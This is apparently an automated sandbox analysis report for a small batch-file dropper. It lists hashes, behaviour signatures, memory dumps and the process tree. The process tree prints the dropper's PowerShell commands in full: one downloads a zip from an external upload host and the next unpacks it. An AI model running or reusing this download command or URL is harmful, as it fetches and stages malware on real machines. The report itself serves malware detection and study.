3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20231025-en
resource tags

arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 23:24

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General

Target

tesy - Copy (6).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	3004	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3004	powershell.exe
2792	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeDebugPrivilege	2792	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2608 wrote to memory of 3004	2608	cmd.exe	29
PID 2608 wrote to memory of 3004	2608	cmd.exe	29
PID 2608 wrote to memory of 3004	2608	cmd.exe	29
PID 2608 wrote to memory of 2792	2608	cmd.exe	30
PID 2608 wrote to memory of 2792	2608	cmd.exe	30
PID 2608 wrote to memory of 2792	2608	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (6).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2792

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e9da8f7245ac28a9dd74245ee0d87aef

SHA1
43f2b0db8945aa75f3aa911464beac46775ee2b7

SHA256
19525ffc290d326272ebeaf20ab10304b0d90dbc45dba519cf5ae037a963f4f4

SHA512
52b7099e315cfabd912fbf97a646eafd7db1d9bde2101098d63078abd4b1e5d33ad9f76efb91cd43db595c2d529ea682eb4aea3c34361aa2b3f26f5ea34b3a43

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7CCBVY3DSRHUVKQLN1NV.temp

Filesize
7KB

MD5
e9da8f7245ac28a9dd74245ee0d87aef

SHA1
43f2b0db8945aa75f3aa911464beac46775ee2b7

SHA256
19525ffc290d326272ebeaf20ab10304b0d90dbc45dba519cf5ae037a963f4f4

SHA512
52b7099e315cfabd912fbf97a646eafd7db1d9bde2101098d63078abd4b1e5d33ad9f76efb91cd43db595c2d529ea682eb4aea3c34361aa2b3f26f5ea34b3a43

Download Submit
memory/2792-23-0x000007FEF47C0000-0x000007FEF515D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-19-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

Filesize
2.9MB

Download
memory/2792-27-0x000007FEF47C0000-0x000007FEF515D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-26-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/2792-25-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/2792-24-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/2792-22-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/2792-20-0x000007FEF47C0000-0x000007FEF515D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-21-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/3004-11-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/3004-5-0x000007FEF5160000-0x000007FEF5AFD000-memory.dmp

Filesize
9.6MB

Download
memory/3004-6-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download
memory/3004-13-0x000007FEF5160000-0x000007FEF5AFD000-memory.dmp

Filesize
9.6MB

Download
memory/3004-4-0x000000001B320000-0x000000001B602000-memory.dmp

Filesize
2.9MB

Download
memory/3004-7-0x000007FEF5160000-0x000007FEF5AFD000-memory.dmp

Filesize
9.6MB

Download
memory/3004-10-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/3004-9-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/3004-8-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download